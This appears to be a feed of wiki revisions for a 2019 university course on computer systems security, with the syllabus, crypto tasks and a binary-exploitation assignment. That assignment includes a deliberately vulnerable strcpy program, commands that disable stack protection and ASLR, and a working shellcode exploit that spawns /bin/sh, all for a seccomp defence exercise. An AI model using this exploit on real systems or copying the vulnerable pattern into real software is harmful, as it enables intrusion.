(2-й модуль)&lt;br /&gt;
# (28.10) [https://drive.google.com/file/d/1GnMCbdkDs2em2YHKvIvX6jB6fGvTsA9a/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (11.11) [https://drive.google.com/file/d/1sINCQ-SHtUJeE1q7ldvApIBNTWZ3ii52/view?usp=sharing Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]&lt;br /&gt;
# (18.11) [https://drive.google.com/file/d/1pprbKulUDgC8ZK5Y-3x-QITOfeOK3y0l/view?usp=sharing Безопасность приложений. Продвинутые бинарные уязвимости (UAF, Type confusion) с примерами в реальных приложениях.]&lt;br /&gt;
# (25.11) [https://drive.google.com/file/d/1kVM99uCDsTcgR_Zqs7UM6RwuyhdoQq8n/view?usp=sharing Механизмы безопасности приложений в операционных системах.]&lt;br /&gt;
# (02.12) [https://drive.google.com/file/d/1pE36xBXZC2v-UAfII9mO_9QDrOTdbUe5/view?usp=sharing Криптография. Введение и история. Хэши. Криптография с открытым ключом.]&lt;br /&gt;
# (09.12) [https://drive.google.com/file/d/1Lf1ECyqr4jslRik8vEtZEtHUxHxVQA2h/view?usp=sharing Криптография. Симметричные шифры. MAC.]&lt;br /&gt;
# (16.12) Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (02.11) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/RSA&amp;diff=37457</id>
		<title>Безопасность компьютерных систем 2019/RSA</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/RSA&amp;diff=37457"/>
		<updated>2019-12-15T14:47:02Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: Новая страница: «== Семинар по асимметричной криптографии на примере RSA ==  ПО к семинару: вам понадобится п…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Семинар по асимметричной криптографии на примере RSA ==&lt;br /&gt;
&lt;br /&gt;
ПО к семинару: вам понадобится пакет Sage любой стабильной версии, можно взять с официального сайта: http://www.sagemath.org/download.html или из стандартного пакета для вашей ОС.&lt;br /&gt;
&lt;br /&gt;
Например, для Debian Stretch годится пакет sagemath версии 7.4 (apt-get install sagemath).&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=37339</id>
		<title>Безопасность компьютерных систем 2019/Задание 3</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=37339"/>
		<updated>2019-12-10T12:39:49Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задание по теме &amp;quot;Бинарные уязвимости&amp;quot; ==&lt;br /&gt;
&lt;br /&gt;
Задание будет состоять из трёх частей:&lt;br /&gt;
&lt;br /&gt;
==== Format string ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этой части задания Вам необходимо добиться печати строки бинарником &amp;quot;Congratulation! You have successfully solved level 1!&amp;quot; в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.&lt;br /&gt;
&lt;br /&gt;
Материалы по теме: [https://blog.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail]&lt;br /&gt;
&lt;br /&gt;
==== Stack buffer overflow ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этой части задания Вам необходимо прочитать содержимое файла &amp;quot;flag_1&amp;quot;. Решением является содержимое этого файла и код эксплойта.&lt;br /&gt;
&lt;br /&gt;
Материалы по теме: [https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/]&lt;br /&gt;
&lt;br /&gt;
==== Bonus ====&lt;br /&gt;
&lt;br /&gt;
Нужно искать после решения основной части, имеет несколько способов решения.&lt;br /&gt;
&lt;br /&gt;
=== Файлы заданий ===&lt;br /&gt;
&lt;br /&gt;
Файлы задания можно взять тут: [https://yadi.sk/d/WSJOP5NBfhbQFQ]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.&lt;br /&gt;
&lt;br /&gt;
=== Баллы ===&lt;br /&gt;
&lt;br /&gt;
Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - N в зависимости от количества способов решения.&lt;br /&gt;
&lt;br /&gt;
=== Дедлайн ===&lt;br /&gt;
&lt;br /&gt;
12.12.2019 включительно.&lt;br /&gt;
&lt;br /&gt;
=== Сдача решений ===&lt;br /&gt;
&lt;br /&gt;
Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.&lt;br /&gt;
&lt;br /&gt;
=== Поломка заданий ===&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.&lt;br /&gt;
&lt;br /&gt;
== Бонусное задание по SECCOMP ==&lt;br /&gt;
&lt;br /&gt;
В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.&lt;br /&gt;
&lt;br /&gt;
Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).&lt;br /&gt;
==== Программа ====&lt;br /&gt;
   #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
   #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
   int badcpy(char *str) {&lt;br /&gt;
        register int i asm(&amp;quot;esp&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;$esp = %#010x\n&amp;quot;, i);&lt;br /&gt;
        char buffer[100];&lt;br /&gt;
        strcpy(buffer, str);&lt;br /&gt;
   }&lt;br /&gt;
   void main(int argc, char *argv[]) {&lt;br /&gt;
        badcpy(argv[1]);&lt;br /&gt;
        printf(&amp;quot;Done!\n&amp;quot;);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Собираем без stack-protector и включаем execstack:&lt;br /&gt;
&lt;br /&gt;
   gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c&lt;br /&gt;
&lt;br /&gt;
Отключаем ASLR:&lt;br /&gt;
&lt;br /&gt;
   echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&lt;br /&gt;
==== Эксплойт (gensploit.py) ====&lt;br /&gt;
&lt;br /&gt;
   #!/usr/bin/python&lt;br /&gt;
   nopsled = &#039;\x90&#039; * 64&lt;br /&gt;
   shellcode = (&lt;br /&gt;
   &#039;\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2&#039; +&lt;br /&gt;
   &#039;\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89&#039; +&lt;br /&gt;
   &#039;\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80&#039;&lt;br /&gt;
   )&lt;br /&gt;
   padding = &#039;A&#039; * (112 - 64 - 32)&lt;br /&gt;
   eip = &#039;\xa0\xda\xff\xff&#039;&lt;br /&gt;
   print nopsled + shellcode + padding + eip&lt;br /&gt;
&lt;br /&gt;
==== Задача 1 ====&lt;br /&gt;
Сначала заставьте переполнение работать.&lt;br /&gt;
stack нужно передать шеллкод в качестве параметра командной строки.&lt;br /&gt;
&lt;br /&gt;
Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса &amp;quot;eip =&amp;quot; в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.&lt;br /&gt;
&lt;br /&gt;
Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).&lt;br /&gt;
&lt;br /&gt;
После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).&lt;br /&gt;
&lt;br /&gt;
Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.&lt;br /&gt;
&lt;br /&gt;
Задание весит &#039;&#039;&#039;0.5&#039;&#039;&#039; балла.&lt;br /&gt;
&lt;br /&gt;
==== Задача 2 ====&lt;br /&gt;
Нужно взять стандартный docker-образ Ubuntu с официального репозитория docker.com и написать для него модифицированную политику SECCOMP, чтобы в этом репозитории запустился Chrome (headless mode). Результат присылать в виде: модифицированной seccomp политики докера с логами неуспешного запуска хрома на дефолтной политике и успешного на модифицированной.&lt;br /&gt;
&lt;br /&gt;
Задание весит &#039;&#039;&#039;0.5&#039;&#039;&#039; балла.&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=37327</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=37327"/>
		<updated>2019-12-09T19:39:54Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) [https://drive.google.com/file/d/1GnMCbdkDs2em2YHKvIvX6jB6fGvTsA9a/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (11.11) [https://drive.google.com/file/d/1sINCQ-SHtUJeE1q7ldvApIBNTWZ3ii52/view?usp=sharing Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]&lt;br /&gt;
# (18.11) [https://drive.google.com/file/d/1pprbKulUDgC8ZK5Y-3x-QITOfeOK3y0l/view?usp=sharing Безопасность приложений. Продвинутые бинарные уязвимости (UAF, Type confusion) с примерами в реальных приложениях.]&lt;br /&gt;
# (25.11) [https://drive.google.com/file/d/1kVM99uCDsTcgR_Zqs7UM6RwuyhdoQq8n/view?usp=sharing Механизмы безопасности приложений в операционных системах.]&lt;br /&gt;
# (02.12) [https://drive.google.com/file/d/1pE36xBXZC2v-UAfII9mO_9QDrOTdbUe5/view?usp=sharing Криптография. Введение и история. Хэши. Криптография с открытым ключом.]&lt;br /&gt;
# (09.12) [https://drive.google.com/file/d/1Lf1ECyqr4jslRik8vEtZEtHUxHxVQA2h/view?usp=sharing Криптография. Симметричные шифры. MAC.]&lt;br /&gt;
# (16.12) Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (02.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_4&amp;diff=37228</id>
		<title>Безопасность компьютерных систем 2019/Задание 4</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_4&amp;diff=37228"/>
		<updated>2019-12-05T20:20:44Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: Новая страница: «== Задание на асимметричную криптографию ==  Нужно выполнить оба задания по ссылке «[https://kh…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задание на асимметричную криптографию ==&lt;br /&gt;
&lt;br /&gt;
Нужно выполнить оба задания по ссылке «[https://khashaev.ru/secsem/rsa/ Attacks on RSA]», каждое стоит по 0.5 баллов, суммарно можно получить 1 балл.&lt;br /&gt;
&lt;br /&gt;
=== Формат отчета ===&lt;br /&gt;
* Флаг.&lt;br /&gt;
* Скрипт для Python или Sage, взламывающий ключ.&lt;br /&gt;
* Текстовое описание того, как был взломана криптосистема.&lt;br /&gt;
* Описание недостатка, который позволил получить:&lt;br /&gt;
** для 1-го задания: зашифрованное сообщение.&lt;br /&gt;
** для 2-го задания: доступ к машине с флагом.&lt;br /&gt;
* Краткое описание того, как &#039;&#039;системно&#039;&#039; устранить недостаток криптосистемы.&lt;br /&gt;
&lt;br /&gt;
=== Сдача решения ===&lt;br /&gt;
Присылайте решения на почту [mailto:arthur@khashaev.ru?subject=%5Bcrypto@hsecurity%5D arthur@khashaev.ru] с темой «[crypto@hsecurity] Ф.И.О.».&lt;br /&gt;
&lt;br /&gt;
=== Срок сдачи ===&lt;br /&gt;
До 22 декабря 23:59:59.&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=37150</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=37150"/>
		<updated>2019-12-02T13:55:28Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) [https://drive.google.com/file/d/1GnMCbdkDs2em2YHKvIvX6jB6fGvTsA9a/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (11.11) [https://drive.google.com/file/d/1sINCQ-SHtUJeE1q7ldvApIBNTWZ3ii52/view?usp=sharing Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]&lt;br /&gt;
# (18.11) [https://drive.google.com/file/d/1pprbKulUDgC8ZK5Y-3x-QITOfeOK3y0l/view?usp=sharing Безопасность приложений. Продвинутые бинарные уязвимости (UAF, Type confusion) с примерами в реальных приложениях.]&lt;br /&gt;
